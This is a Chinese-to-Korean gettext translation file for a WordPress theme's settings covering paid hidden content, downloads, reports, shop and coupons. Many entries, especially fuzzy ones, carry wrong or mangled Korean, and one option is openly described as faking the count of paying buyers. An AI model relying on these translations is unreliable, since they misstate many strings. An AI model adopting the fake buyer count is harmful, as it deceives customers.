#: Modules/Settings/Template.php:1144 Modules/Settings/Template.php:1570
#: Modules/Settings/Template.php:1596 Modules/Settings/Template.php:1608
#: Modules/Settings/Template.php:2048 Modules/Settings/Template.php:2127
#: Modules/Settings/Template.php:2288 Modules/Settings/Template.php:2299
#: Modules/Settings/Template.php:2310 Modules/Settings/Template.php:2321
#: Modules/Settings/Template.php:2332 Modules/Settings/Template.php:2342
#: Modules/Templates/Modules/Posts.php:1509
#: Modules/Templates/Widgets/About.php:94 Modules/Templates/Widgets/Ask.php:78
#: Modules/Templates/Widgets/Author.php:65
#: Modules/Templates/Widgets/Bookmark.php:108
#: Modules/Templates/Widgets/CircleInfo.php:68
#: Modules/Templates/Widgets/Comment.php:71
#: Modules/Templates/Widgets/Coupon.php:66
#: Modules/Templates/Widgets/CreditTop.php:71
#: Modules/Templates/Widgets/Download.php:50
#: Modules/Templates/Widgets/HotCircle.php:64
#: Modules/Templates/Widgets/HotInfomation.php:94
#: Modules/Templates/Widgets/Html.php:64 Modules/Templates/Widgets/Links.php:73
#: Modules/Templates/Widgets/Mission.php:56
#: Modules/Templates/Widgets/Newsflashes.php:89
#: Modules/Templates/Widgets/Post.php:122
#: Modules/Templates/Widgets/Products.php:102
#: Modules/Templates/Widgets/RecommendedCircle.php:65
#: Modules/Templates/Widgets/Team.php:64
#: Modules/Templates/Widgets/Tocbot.php:56
#: Modules/Templates/Widgets/User.php:56
msgid "隐藏"
msgstr "숨겨진 콘텐츠를 구매했습니다.›% s"

#: Modules/Settings/Post.php:269 Modules/Settings/Post.php:284
#: Modules/Settings/Post.php:298 Modules/Settings/Post.php:314
#: Modules/Settings/Taxonomies.php:942 Modules/Settings/Users.php:492
msgid "使用全局设置"
msgstr "전역 설정 사용"

#: Modules/Settings/Post.php:272
msgid ""
"如果开启，将会显示在文章页面底部。使用全局设置，将会调用模块设置->文章内页中"
"的相关设置"
msgstr ""
"활성화되면 기사 페이지 하단에 표시됩니다. 전역 설정 사용, 모듈 설정-> 기사 내"
"부 페이지에서 관련 설정을 호출합니다."

#: Modules/Settings/Post.php:278 Modules/Settings/Template.php:1589
msgid "是否显示语音朗读"
msgstr "음성 읽기 표시 여부"

#: Modules/Settings/Post.php:287 Modules/Settings/Post.php:310
msgid ""
"如果开启，将会显示在文章页面内容顶部。使用全局设置，将会调用模块设置->文章内"
"页中的相关设置"
msgstr ""
"활성화 된 경우 기사 페이지 콘텐츠 상단에 표시됩니다. 전역 설정 사용, 모듈 설"
"정-> 기사 내부 페이지에서 관련 설정을 호출합니다."

#: Modules/Settings/Post.php:292 Modules/Settings/Template.php:1563
msgid "是否显示侧边栏小工具"
msgstr "사이드 바 위젯 표시 여부"

#: Modules/Settings/Post.php:301
msgid "使用全局设置，将会调用模块设置->文章内页中的相关设置"
msgstr ""
"전역 설정 사용, 모듈 설정-> 기사 내부 페이지에서 관련 설정을 호출합니다."

#: Modules/Settings/Post.php:306 Modules/Settings/Template.php:1576
msgid "是否使用主题自带文章内图片点击放大功能"
msgstr "테마별 이미지 사용 여부 기사 내 확대 기능 클릭"

#: Modules/Settings/Post.php:320 Modules/Settings/Template.php:1614
msgid "文章顶部广告位代码"
msgstr "기사 상단의 광고 슬롯 코드"

#: Modules/Settings/Post.php:322 Modules/Settings/Post.php:331
msgid "如果不设置广告位请留空"
msgstr "광고 슬롯을 설정하지 않은 경우 비워 두십시오."

#: Modules/Settings/Post.php:329
msgid "文章低部广告位代码"
msgstr "기사 하단 광고 슬롯 코드"

#: Modules/Settings/Post.php:354
#, fuzzy
#| msgid "是否允许提现"
msgid "是否允许提成"
msgstr "출금 허용 여부"

#: Modules/Settings/Post.php:358
msgid "使用默认设置"
msgstr "기본 설정 사용"

#: Modules/Settings/Post.php:360
#, fuzzy
msgid "不允许提成"
msgstr "수수료 없음"

#: Modules/Settings/Post.php:363
msgid ""
"推广设置中有一个总开关，使用默认设置则总开关生效，如果在此设置则优先生效"
msgstr ""
"프로모션 설정에 마스터 스위치가 있습니다. 기본 설정을 사용하면 마스터 스위치"
"가 적용됩니다. 여기에서 설정하면 우선 적용됩니다."

#: Modules/Settings/Post.php:368
msgid "限购设置"
msgstr "구매 한도"

#: Modules/Settings/Post.php:377
msgid "限购数量"
msgstr "구매할 수 있는 유닛 수 제한"

#: Modules/Settings/Post.php:380
msgid ""
"如果设置为0或留空，则不限限制购买，否则请直接填写数字，比如每人限购10件，则填"
"写10。"
msgstr ""
"0으로 설정하거나 비워두면 구매 제한이 없으며, 그렇지 않은 경우 직접 숫자를 입"
"력하세요(예: 1인당 10개로 구매가 제한되는 경우 10으로 입력)."

#: Modules/Settings/Post.php:385
#, fuzzy
#| msgid "请输入过期时间（天）"
msgid "限购时间（天）"
msgstr "만료 시간 (일)을 입력하세요."

#: Modules/Settings/Post.php:388
msgid ""
"如果设置为0或留空，则限购无时间限制。如果限购活动限制在2天内，则直接填2，第三"
"天将停止限购，以此类推。到期后会重新计算。"
msgstr ""
"0으로 설정하거나 비워두면 제한 구매에 대한 시간 제한이 없습니다. 제한 구매 활"
"동이 2일로 제한되는 경우 2를 입력하면 3일째부터 제한 구매가 중지됩니다. 기간"
"이 만료되면 다시 계산됩니다."

#: Modules/Settings/Post.php:393
msgid "隐藏内容阅读权限"
msgstr "콘텐츠 읽기 권한 숨기기"

#: Modules/Settings/Post.php:401
msgid "阅读权限"
msgstr "읽기 권한"

#: Modules/Settings/Post.php:412
msgid "需要在文章中使用隐藏内容短代码工具将需要隐藏的内容包裹起来，否则不生效"
msgstr ""
"숨겨야하는 콘텐츠를 래핑하려면 기사에서 숨겨진 콘텐츠 단축 코드 도구를 사용해"
"야합니다. 그렇지 않으면 효과가 없습니다."

#: Modules/Settings/Post.php:424
msgid ""
"如果是支付费用查看隐藏内容，您可以开启游客支付功能。只支持支付费用查看。"
msgstr ""
"숨겨진 콘텐츠를보기 위해 결제하는 경우 게스트 결제 기능을 활성화 할 수 있습니"
"다. 시청료 만 지원합니다."

#: Modules/Settings/Post.php:456
msgid "请选择允许查看隐藏内容的用户组"
msgstr "숨겨진 콘텐츠를 볼 수있는 사용자 그룹을 선택하십시오."

#: Modules/Settings/Post.php:460
msgid "默认查看人数"
msgstr "기본 뷰어"

#: Modules/Settings/Post.php:463
msgid ""
"如果隐藏内容为付费或者支付积分，没有人购买时会显示0人购买，不太好，此数据相当"
"于伪造了付费用户的数量"
msgstr ""
"숨겨진 콘텐츠를 유료로 구매하거나 포인트로 결제하면 아무도 구매하지 않았을 "
"때 구매 한 사람이 0 명으로 표시되며, 이는 좋지 않다.이 데이터는 유료 사용자 "
"수를 위조 한 것과 같다."

#: Modules/Settings/Post.php:467
msgid "时效设置"
msgstr "시간 설정"

#: Modules/Settings/Post.php:470
#, php-format
msgid ""
"用户购买以后，多少小时后过期（过期后不能再次查看付费内容，需要再次购买），请"
"直接填写小时数字，支持小数。比如%s，%s。如果此处留空不设置，用户购买以后，永"
"久生效。此项设置只对积分阅读或者付费阅读生效。"
msgstr ""
"사용자 구매 후 만료되는 시간 (유료 콘텐츠를 다시 볼 수 없으며 다시 구매해야 "
"함), 시간 숫자를 직접 입력하고 소수점을 지원합니다. 예 : %s, %s. 설정하지 않"
"고 공백으로두면 사용자가 구매 한 후 영구적으로 적용됩니다. 이 설정은 포인트 "
"읽기 또는 유료 읽기에만 유효합니다."

#: Modules/Settings/Post.php:475 Modules/Settings/Post.php:482
msgid "自定义海报图片"
msgstr "맞춤 포스터 이미지"

#: Modules/Settings/Post.php:495
msgid ""
"如果不设置，将自动使用本文特色图，如果没有设置特色图，自动使用文章中第一张图"
"片，都没有则使用主题自带默认图片"
msgstr ""
"설정하지 않으면이 기사의 추천 사진이 자동으로 사용됩니다. 설정하지 않으면 기"
"사의 첫 번째 사진이 자동으로 사용됩니다.없는 경우 테마의 기본 사진이 사용됩니"
"다."

#: Modules/Settings/Post.php:511
#, php-format
msgid ""
"如果您开通并认证了微信服务号，并且主题中设置了相关功能（%s微信设置%s），用户"
"在微信中回复此关键词，将会自动返回此文章。"
msgstr ""
"WeChat 서비스 계정을 구독 및 확인하고 관련 기능이 제목 (%s WeChat 설정 %s)에 "
"설정되어있는 경우 WeChat에서이 키워드에 응답하는 사용자는 자동으로이 문서로 "
"돌아갑니다."

#: Modules/Settings/Post.php:518
#, fuzzy, php-format
msgid "该文章的弹出%s"
msgstr "이 기사에 대한 팝업 알림"

#: Modules/Settings/Post.php:525
#, php-format
msgid "%s标题"
msgstr "%s제목"

#: Modules/Settings/Post.php:528
msgid "支持 HTML，尽量短小才好看。"
msgstr "HTML을 지원하고보기 좋게 보이도록 최대한 짧게 만드십시오."

#: Modules/Settings/Post.php:532 TempParts/Newsflashes/category.php:44
#: archive-newsflashes.php:43
#, php-format
msgid "%s内容"
msgstr "%s 콘텐츠"

#: Modules/Settings/Post.php:535
#, fuzzy, php-format
msgid "支持 HTML，用户每次打开该文章都会显示此%s，如果不需要显示，请留空。"
msgstr ""
"HTML이 지원됩니다.이 공지 사항은 사용자가 기사를 열 때마다 표시됩니다. 표시 "
"할 필요가없는 경우 공백으로 두십시오."

#: Modules/Settings/Post.php:548
#, fuzzy, php-format
msgid "弹窗%s显示条件"
msgstr "팝업 알림 표시 조건"

#: Modules/Settings/Post.php:552
msgid "所有人可见"
msgstr "모두에게 표시"

#: Modules/Settings/Post.php:553
msgid "登录用户可见"
msgstr "로그인 한 사용자에게 표시"

#: Modules/Settings/Post.php:554
msgid "未登录用户可见"
msgstr "로그인하지 않은 사용자에게 표시"

#: Modules/Settings/Post.php:555
msgid "不显示弹窗"
msgstr "팝업 표시 안함"

#: Modules/Settings/Post.php:561
msgid "弹窗间隔时间"
msgstr "팝업 창 사이의 시간"

#: Modules/Settings/Post.php:564
#, fuzzy, php-format
msgid "如果没有新的%s，弹出一次用户关闭后再隔多少天再次弹出"
msgstr ""
"새로운 공지 사항이없는 경우 사용자가 팝업을 닫고 며칠 후 다시 팝업됩니다."

#: Modules/Settings/Post.php:569
#, fuzzy, php-format
msgid "旧%s多少天后自动关闭弹出"
msgstr "며칠 후 이전 공지 사항이 자동으로 팝업을 닫습니다."

#: Modules/Settings/Post.php:572
#, fuzzy, php-format
msgid "如果没有新的%s发布，旧的%s多少天以后会自动失效，不再弹出。"
msgstr ""
"새 공지 사항이없는 경우 이전 공지 사항은 며칠 후 자동으로 만료되어 더 이상 팝"
"업되지 않습니다."

#: Modules/Settings/Post.php:578
msgid "来源地址"
msgstr "소스 주소"

#: Modules/Settings/Post.php:588 Modules/Settings/Post.php:591
#, fuzzy, php-format
msgid "%s来源地址"
msgstr "소스 주소"

#: Modules/Settings/Post.php:598 Pages/write.php:564
msgid "文章来源"
msgstr "기사 출처"

#: Modules/Settings/Post.php:606
msgid "文章来源网址"
msgstr "출처:"

#: Modules/Settings/Post.php:613
msgid "文章来源站点名称"
msgstr "기사 출처 사이트 이름"

#: Modules/Settings/Post.php:621
msgid "下载设置"
msgstr "설정 다운로드"

#: Modules/Settings/Post.php:629
msgid "是否开启下载功能？"
msgstr "다운로드 기능 활성화 여부?"

#: Modules/Settings/Post.php:647
msgid "如果是支付费用下载，您可以开启游客支付功能。只支持支付费用下载。"
msgstr ""
"다운로드 비용을 지불하는 경우 게스트 결제 기능을 활성화 할 수 있습니다. 다운"
"로드 비용 만 지원합니다."

#: Modules/Settings/Post.php:654 Modules/Settings/Post.php:661
msgid "不选择"
msgstr "주제별 메타 선택"

#: Modules/Settings/Post.php:670
msgid "资源{#}"
msgstr "리소스 판매"

#: Modules/Settings/Post.php:671
msgid "添加一个资源项"
msgstr "리소스 항목 추가"

#: Modules/Settings/Post.php:672
msgid "删除资源"
msgstr "리소스 삭제"

#: Modules/Settings/Post.php:675
msgid "确定要删除这个资源吗？"
msgstr "이 리소스를 삭제 하시겠습니까?"

#: Modules/Settings/Post.php:681
msgid "选择模版"
msgstr "템플릿 선택"

#: Modules/Settings/Post.php:685
#, php-format
msgid ""
"您可以前往%s页面创建下载模版，在此处可以选择设置好的模版，然后直接编辑，方便"
"快速设置"
msgstr ""
"%s 페이지로 이동하여 다운로드 템플릿을 생성할 수 있습니다. 여기에서 설정된 템"
"플릿을 선택한 다음 빠른 설정을 위해 직접 편집할 수 있습니다."

#: Modules/Settings/Post.php:685 Modules/Settings/Template.php:1886
msgid "下载模版设置"
msgstr "템플릿 설정 다운로드"

#: Modules/Settings/Post.php:689 Modules/Settings/Template.php:1919
#: Pages/write.php:495
msgid "资源链接"
msgstr "리소스 링크"

#: Modules/Settings/Post.php:692 Modules/Settings/Template.php:1922
#, php-format
msgid ""
"格式为%s，每组占一行。%s比如：%s%s提取码标识为：tq，解压码标识为：jy，如果中"
"需要其中一个，只设置一个即可，都没有可以不用设置"
msgstr ""
"형식은  %s이며 각 그룹은 한 줄을 차지합니다.  %s 예 :  %s  %s 추출 코드 식"
"별 : tq, 압축 해제 코드 식별 : jy, 둘 중 하나가 필요한 경우 하나만 설정할 수 "
"있으며 설정할 필요가 없습니다."

#: Modules/Settings/Post.php:697 Modules/Settings/Template.php:1927
msgid "资源缩略图"
msgstr "리소스 축소판"

#: Modules/Settings/Post.php:710
msgid "可以不设置，将自动显示封面图片"
msgstr "설정할 수 없습니다. 자동으로 표지 이미지가 표시됩니다."

#: Modules/Settings/Post.php:714 Modules/Settings/Template.php:1945
#: Pages/write.php:463 Pages/write.php:473
msgid "资源名称"
msgstr "리소스 이름"

#: Modules/Settings/Post.php:717 Modules/Settings/Template.php:1948
msgid "如果不设置，将获取文章标题当作资源名称"
msgstr "설정하지 않으면 기사 제목이 리소스 이름으로 획득됩니다."

#: Modules/Settings/Post.php:721 Modules/Settings/Template.php:1952
msgid "演示地址"
msgstr "데모 주소"

#: Modules/Settings/Post.php:724 Modules/Settings/Template.php:1955
msgid "请填写网址形式，如果不设置，前台将不显示演示地址"
msgstr ""
"URL 양식을 작성해 주세요. 설정하지 않으면 데모 주소가 프런트 데스크에 표시되"
"지 않습니다."

#: Modules/Settings/Post.php:728 Modules/Settings/Template.php:1959
msgid "资源属性"
msgstr "자원 속성"

#: Modules/Settings/Post.php:731 Modules/Settings/Template.php:1962
#, php-format
msgid "格式为%s，每组占一行。%s比如：%s"
msgstr "형식은  %s이며 각 그룹은 한 줄을 차지합니다.  %s :  %s"

#: Modules/Settings/Post.php:735 Modules/Settings/Template.php:1966
#: Modules/Templates/Single.php:525 Pages/write.php:477
msgid "下载权限"
msgstr "다운로드 권한"

#: Modules/Settings/Post.php:738 Modules/Settings/Template.php:1969
#, php-format
msgid ""
"格式为%s，比如%s权限参数：%s评论可见：comment%s登录可见：login%s无限制："
"free%s付费下载：money=10%s积分下载：credit=30%s特殊权限：%s所有人免费：all|"
"free（或者credit=10这种格式）%s普通用户组免费：lv|free（或者credit=10这种格"
"式）%sVIP用户免费：vip|free（或者credit=10这种格式）"
msgstr ""
"형식은  %s입니다 (예 :  %s 권한 매개 변수 :  %s 댓글 표시 : comment  %s 로그"
"인 표시 : 로그인  %s 무제한 : 무료  %s 유료 다운로드 : money = 10  %s 포인트 "
"다운로드 : 크레딧 = 30  %s 특별 권한 : 모든  %s 무료 : 모두 | 무료 (또는 신"
"용 = 10 형식)  %s 일반 사용자 그룹 무료 : lv | 무료 (또는 신용 = 10 형식)  "
"%sVIP 사용자 무료 : vip | 무료 (또는 신용 = 10 이 형식)"

#: Modules/Settings/Post.php:755 Modules/Settings/Post.php:763
msgid "文章在该组别的排序"
msgstr "이 그룹의 문서 종류"

#: Modules/Settings/Post.php:766
#, fuzzy, php-format
msgid "排序必填，否则%s分类中不显示，数字越小，排名越靠前"
msgstr ""
"정렬이 필요합니다. 그렇지 않으면 문서 분류에 표시되지 않습니다. 숫자가 작을수"
"록 순위가 높아집니다."

#: Modules/Settings/Report.php:62 Modules/Settings/Report.php:63
#, fuzzy
msgid "举报设置"
msgstr "보고서 설정"

#: Modules/Settings/Report.php:68 Modules/Settings/ReportTable.php:130
#, fuzzy
msgid "举报类型"
msgstr "보고서 유형"

#: Modules/Settings/Report.php:71
#, fuzzy
msgid "请输入举报类型，每个类型占一行"
msgstr "보고서 유형을 각 유형별로 한 줄씩 입력하세요."

#: Modules/Settings/Report.php:81 Modules/Settings/Report.php:82
#, fuzzy
msgid "举报列表"
msgstr "보고서 목록"

#: Modules/Settings/Report.php:167
#, fuzzy, php-format
msgid "您的举报已处理：%s"
msgstr "신고가 처리되었습니다: %s"

#: Modules/Settings/Report.php:169
#, fuzzy
msgid "举报处理结果"
msgstr "결과 보고"

#: Modules/Settings/Report.php:189
#, fuzzy
msgid "没有找到此举报"
msgstr "소유자가 없습니다."

#: Modules/Settings/Report.php:205 Modules/Settings/ReportTable.php:49
#, fuzzy
#| msgid "无权查看评论"
msgid "查看评论"
msgstr "댓글을 볼 수있는 권한이 없습니다."

#: Modules/Settings/Report.php:213
#, fuzzy
msgid "举报内容："
msgstr "내부 고발 콘텐츠:"

#: Modules/Settings/Report.php:220
#, fuzzy
msgid "举报图片："
msgstr "내부 고발 사진:"

#: Modules/Settings/Report.php:228
#, fuzzy
msgid "举报连接："
msgstr "내부 고발 연결:"

#: Modules/Settings/Report.php:231
#, fuzzy
msgid "举报人："
msgstr "내부 고발자:"

#: Modules/Settings/Report.php:234
#, fuzzy
#| msgid "邮箱"
msgid "邮箱："
msgstr "이메일"

#: Modules/Settings/Report.php:238
#, fuzzy
msgid "处理结果："
msgstr "처리 결과:"

#: Modules/Settings/Report.php:242
#, fuzzy
msgid "处理状态："
msgstr "처리 상태:"

#: Modules/Settings/Report.php:244 Modules/Settings/Report.php:261
#: Modules/Settings/ReportTable.php:40
#, fuzzy
#| msgid "未名"
msgid "未处理"
msgstr "이름 없음"

#: Modules/Settings/Report.php:245 Modules/Settings/Report.php:260
#: Modules/Settings/ReportTable.php:40
#, fuzzy
msgid "已处理"
msgstr "처리됨"

#: Modules/Settings/Report.php:267
#, fuzzy
msgid "搜索条目"
msgstr "항목 검색"

#: Modules/Settings/Report.php:282
#, fuzzy
msgid "：您的举报已处理"
msgstr "신고가 처리되었습니다."

#: Modules/Settings/Report.php:294
#, fuzzy
msgid "你的举报已处理："
msgstr "신고가 처리되었습니다:"

#: Modules/Settings/Report.php:298
#, fuzzy
#| msgid "感谢您的注册！"
msgid "感谢您的反馈！"
msgstr "가입을 환영합니다."

#: Modules/Settings/ReportTable.php:60
#, fuzzy
#| msgid "上传图片"
msgid "未上传图片"
msgstr "이미지 업로드"

#: Modules/Settings/ReportTable.php:107
#, fuzzy
#| msgid "处罚"
msgid "处理"
msgstr "벌칙"

#: Modules/Settings/ReportTable.php:127
#, fuzzy
msgid "举报ID"
msgstr "신고 ID"

#: Modules/Settings/ReportTable.php:128 Modules/Settings/RequestsTable.php:116
msgid "来自"
msgstr "에서"

#: Modules/Settings/ReportTable.php:131
#, fuzzy
msgid "涉及的连接"
msgstr "관련 연결"

#: Modules/Settings/ReportTable.php:132
#, fuzzy
msgid "举报的内容"
msgstr "보고서 내용"

#: Modules/Settings/ReportTable.php:133
#, fuzzy
msgid "举报的图片"
msgstr "신고된 사진"

#: Modules/Settings/ReportTable.php:134
#, fuzzy
msgid "处理状态"
msgstr "처리 상태"

#: Modules/Settings/ReportTable.php:135
#, fuzzy
msgid "处理说明"
msgstr "취급 지침"

#: Modules/Settings/ReportTable.php:136
#, fuzzy
msgid "举报者邮箱"
msgstr "내부 고발자 이메일"

#: Modules/Settings/RequestsTable.php:115
msgid "工单ID"
msgstr "티켓 ID"

#: Modules/Settings/RequestsTable.php:118
msgid "回复状态"
msgstr "응답 상태"

#: Modules/Settings/RequestsTable.php:120 Modules/Templates/Footer.php:259
#: Modules/Templates/VueTemplates.php:897 User/settings.php:118 comments.php:72
#: functions.php:2229
msgid "邮箱"
msgstr "이메일"

#: Modules/Settings/Seo.php:13
msgid "SEO设置"
msgstr "SEO 설정"

#: Modules/Settings/Seo.php:21 Modules/Settings/Taxonomies.php:24
#: Modules/Settings/Taxonomies.php:434 Modules/Settings/Taxonomies.php:482
#: Modules/Settings/Taxonomies.php:549 Modules/Settings/Taxonomies.php:600
#: Modules/Settings/Taxonomies.php:649 Modules/Settings/Taxonomies.php:847
msgid "SEO标题"
msgstr "SEO 제목"

#: Modules/Settings/Seo.php:28 Modules/Settings/Taxonomies.php:30
#: Modules/Settings/Taxonomies.php:440 Modules/Settings/Taxonomies.php:488
#: Modules/Settings/Taxonomies.php:555 Modules/Settings/Taxonomies.php:606
#: Modules/Settings/Taxonomies.php:655 Modules/Settings/Taxonomies.php:853
msgid "SEO关键词"
msgstr "SEO 키워드"

#: Modules/Settings/Seo.php:35
msgid "SEO描述"
msgstr "SEO 설명"

#: Modules/Settings/Shop.php:53
msgid "是虚拟物品吗"
msgstr "가상 아이템인가요"

#: Modules/Settings/Shop.php:111
#, fuzzy
#| msgid "是否允许游客购买"
msgid "是否允许游客购买虚拟物品"
msgstr "출금 허용 여부"

#: Modules/Settings/Shop.php:129
msgid "接收售后私信的ID"
msgstr "판매 후 개인 메시지 수신을 위한 ID"

#: Modules/Settings/Shop.php:133
msgid ""
"用户在前台订单中心里面点击售后服务按钮，会弹出私信框，此处设置是指定用户将售"
"后私信发给谁"
msgstr ""
"프론트데스크 주문센터에서 A/S 버튼을 클릭하면 비공개 메시지창이 뜨는데, 여기"
"서 설정은 판매 후 비공개 메시지를 보낼 사람을 지정하는 것입니다."

#: Modules/Settings/Shop.php:137
#, fuzzy, php-format
msgid "%sSEO关键词"
msgstr "SEO 키워드"

#: Modules/Settings/Shop.php:138
#, fuzzy, php-format
msgid ""
"%sSEO关键词，多个关键词请用英文的逗号隔开，一般显示在页面标签内，做SEO用"
msgstr ""
"상점에 대한 SEO 키워드, 일반적으로 SEO의 페이지 태그에 표시되는 여러 키워드"
"를 구분하려면 영어 쉼표를 사용하십시오."

#: Modules/Settings/Shop.php:144
#, fuzzy, php-format
msgid "%sSEO描述"
msgstr "SEO 설명"

#: Modules/Settings/Shop.php:145
#, fuzzy, php-format
msgid "%sSEO描述，一般显示在页面标签内，做SEO用"
msgstr "SEO에 사용되는 일반적으로 페이지 태그에 표시되는 상점의 SEO 설명"

#: Modules/Settings/Shop.php:152
#, fuzzy, php-format
msgid "%s首页幻灯内容"
msgstr "홈 슬라이드 쇼 콘텐츠 저장"

#: Modules/Settings/Shop.php:155
#, fuzzy, php-format
msgid ""
"支持所有文章类型（文章，商品等），每组占一行，排序与此设置相同（不设置请留"
"空）。图片可以在%s上传或选择。\n"
"                %s\n"
"                支持的格式如下：\n"
"                %s"
msgstr ""
"모든 기사 유형 (기사, 제품 등)을 지원하고 각 그룹은 한 줄을 차지하며 정렬은"
"이 설정과 동일합니다 (설정되지 않은 경우 공백으로 두십시오).  %s에서 사진을 "
"업로드하거나 선택할 수 있습니다.\n"
"                %에스\n"
"                지원되는 형식은 다음과 같습니다.\n"
"                %에스"

#: Modules/Settings/Shop.php:165
#, fuzzy, php-format
#| msgid "%s幻灯设置"
msgid "%s首页幻灯设置"
msgstr "%s 슬라이드쇼 설정"

#: Modules/Settings/Shop.php:170
#, fuzzy, php-format
msgid "%s首页幻灯高度"
msgstr "쇼핑 홈 슬라이드 높이"

#: Modules/Settings/Shop.php:177
#, fuzzy, php-format
msgid "%s首页幻灯是否显示标题"
msgstr "상점 홈페이지의 슬라이드 쇼에 제목이 표시되는지 여부"

#: Modules/Settings/Shop.php:188
#, fuzzy, php-format
msgid "%s首页允许显示的商品分类"
msgstr "상점 홈페이지에 표시 할 수있는 상품 카테고리"

#: Modules/Settings/Shop.php:201
msgid "请确保您的分类别名不是中文，否则无法选中，全部取消将不显示"
msgstr ""
"카테고리 별칭이 중국어가 아닌지 확인하십시오. 그렇지 않으면 선택할 수 없습니"
"다. 모두 취소하면 표시되지 않습니다."

#: Modules/Settings/Shop.php:202
#, fuzzy, php-format
#| msgid "%s分类导航设置"
msgid "%s首页分类导航设置"
msgstr "%s카테고리 탐색 설정"

#: Modules/Settings/Shop.php:206
#, fuzzy, php-format
msgid "%s首页分类每行显示的数量"
msgstr "상점 홈페이지 카테고리의 각 라인에 표시되는 번호"

#: Modules/Settings/Shop.php:213
#, fuzzy, php-format
msgid "%s首页分类背景图比例"
msgstr "샵 홈페이지 분류 배경도 비율"

#: Modules/Settings/Shop.php:220
msgid "要显示的产品类型"
msgstr "표시 할 제품 유형"

#: Modules/Settings/Shop.php:229
#, fuzzy, php-format
#| msgid "商品设置"
msgid "%s首页商品设置"
msgstr "상품 설정"

#: Modules/Settings/Shop.php:233
msgid "每种类型显示多少个"
msgstr "각 유형에 대해 표시 할 수"

#: Modules/Settings/Shop.php:240
#, fuzzy
#| msgid "每行显示几个"
msgid "每行显示多少个商品"
msgstr "라인 당 수량 표시"

#: Modules/Settings/Shop.php:247
#, fuzzy, php-format
msgid "%s首页商品购买标题"
msgstr "뉴스 레터 홈페이지 SEO 제목"

#: Modules/Settings/Shop.php:254
#, fuzzy, php-format
msgid "%s首页积分兑换标题"
msgstr "뉴스 레터 홈페이지 SEO 제목"

#: Modules/Settings/Shop.php:261
#, fuzzy, php-format
msgid "%s首页积分抽奖标题"
msgstr "뉴스 레터 홈페이지 SEO 제목"

#: Modules/Settings/Shop.php:277
msgid "商品多规格模板"
msgstr "제품 다중 사양 템플릿"

#: Modules/Settings/Shop.php:282 Modules/Settings/Shop.php:334
#: Modules/Templates/Widgets/HotCircle.php:206 Pages/create-circle.php:172
msgid "创建"
msgstr "창조하다"

#: Modules/Settings/Shop.php:290
msgid "多规格模板设置（点击小箭头展开设置）"
msgstr "홈페이지 콘텐츠 모듈 레이아웃 (작은 화살표를 클릭하여 설정을 확장)"

#: Modules/Settings/Shop.php:293 Modules/Settings/Template.php:1899
msgid "模板{#}"
msgstr "템플릿 {#}"

#: Modules/Settings/Shop.php:294 Modules/Settings/Template.php:1900
msgid "添加新模板"
msgstr "새 모듈 추가"

#: Modules/Settings/Shop.php:295 Modules/Settings/Template.php:1901
msgid "删除模板"
msgstr "템플릿 삭제"

#: Modules/Settings/Shop.php:298 Modules/Settings/Template.php:1904
msgid "确定要删除这个模板吗？"
msgstr "이 모듈을 삭제 하시겠습니까?"

#: Modules/Settings/Shop.php:303 Modules/Settings/Template.php:1909
#, php-format
msgid "模板标题%s"
msgstr "모듈 제목  %s"

#: Modules/Settings/Shop.php:306 Modules/Settings/Template.php:1912
msgid "给这个模板起个名字"
msgstr "이 템플릿에 이름 지정"

#: Modules/Settings/Shop.php:313
msgid "模板参数"
msgstr "템플릿 매개변수"

#: Modules/Settings/Shop.php:316
#, php-format
msgid "格式为：%s，参数之间请使用小写的逗号分隔，比如：%s"
msgstr ""
"형식은 %s입니다. 다음과 같이 소문자 쉼표를 사용하여 매개변수를 구분하십시오. "
"%s"

#: Modules/Settings/Shop.php:328
msgid "优惠劵创建"
msgstr "쿠폰 생성"

#: Modules/Settings/Shop.php:339
msgid "优惠劵面值"
msgstr "쿠폰 액면가"

#: Modules/Settings/Shop.php:348
msgid "优惠劵领取有效期"
msgstr "쿠폰은 수령 가능합니다."

#: Modules/Settings/Shop.php:356
msgid ""
"请直接填入天数，永久有效请填写0，有效期从创建成功的那一刻开始计算，过期以后用"
"户将无法领取，已经领取的用户可以在优惠劵使用有效期内进行使用。"
msgstr ""
"일수를 직접 입력 해주세요. 영구적 유효 기간을 0으로 입력 해주세요. 유효 기간"
"은 생성에 성공한 순간부터 시작됩니다. 유효 기간이 만료되면 쿠폰을받을 수 없습"
"니다. 쿠폰을 이미받은 사용자는 쿠폰 유효 기간 내에 사용할 수 있습니다."

#: Modules/Settings/Shop.php:360
msgid "优惠劵使用有效期"
msgstr "쿠폰 유효 기간"

#: Modules/Settings/Shop.php:368
msgid ""
"请直接填入天数，永久有效请填写0，有效期从用户领取优惠劵的时刻开始计算，超过时"
"效作废，并且不能再次领取。"
msgstr ""
"유효 기간은 사용자가 쿠폰을받은 순간부터 유효 기간이 시작되며, 기한이 지난 후"
"에는 무효가되며 다시 청구 할 수 없습니다."

#: Modules/Settings/Shop.php:379
msgid "允许领取的用户组"
msgstr "허용 된 사용자 그룹"

#: Modules/Settings/Shop.php:383
msgid "请选择允许领取优惠劵的用户组，如果不选择，则所有人都可以领取"
msgstr ""
"쿠폰을받을 수있는 사용자 그룹을 선택하세요. 선택하지 않으면 누구나받을 수 있"
"습니다."

#: Modules/Settings/Shop.php:393
#, php-format
msgid "没有商品分类，请前往%s添加"
msgstr "분류가 없습니다. 추가하려면  %s로 이동하세요."

#: Modules/Settings/Shop.php:402
msgid ""
"请确保您的分类别名不是中文，否则无法选中。不选择则不限制使用，选中则只允许这"
"些分类的产品使用优惠劵"
msgstr ""
"범주 별칭이 중국어가 아닌지 확인하십시오. 그렇지 않으면 선택할 수 없습니다. "
"선택하지 않으면 사용이 제한되지 않습니다. 선택하면 이러한 카테고리의 제품 만 "
"쿠폰을 사용할 수 있습니다."

#: Modules/Settings/Shop.php:406
msgid "允许使用的单个商品"
msgstr "단일 제품 허용"

#: Modules/Settings/Shop.php:409
msgid ""
"请直接输入产品的ID，每个ID占一行。如果设置了此项，优惠劵将只允许此商品使用，"
"否则此项不做为限制条件"
msgstr ""
"제품 ID를 직접 입력하세요. 각 ID는 한 줄을 차지합니다. 이 항목을 설정하면 쿠"
"폰을 통해이 제품 만 사용할 수 있으며, 그렇지 않으면이 항목이 제한으로 사용되"
"지 않습니다."

#: Modules/Settings/Shop.php:418
msgid "优惠劵列表"
msgstr "쿠폰 목록"

#: Modules/Settings/Shop.php:483
#, php-format
msgid "优惠劵生成成功， 请前往%s查看。"
msgstr "쿠폰이 성공적으로 생성되었습니다.  %s로 이동하여 확인하십시오."

#: Modules/Settings/Shop.php:633
msgid "购买方式"
msgstr "구매 방법"

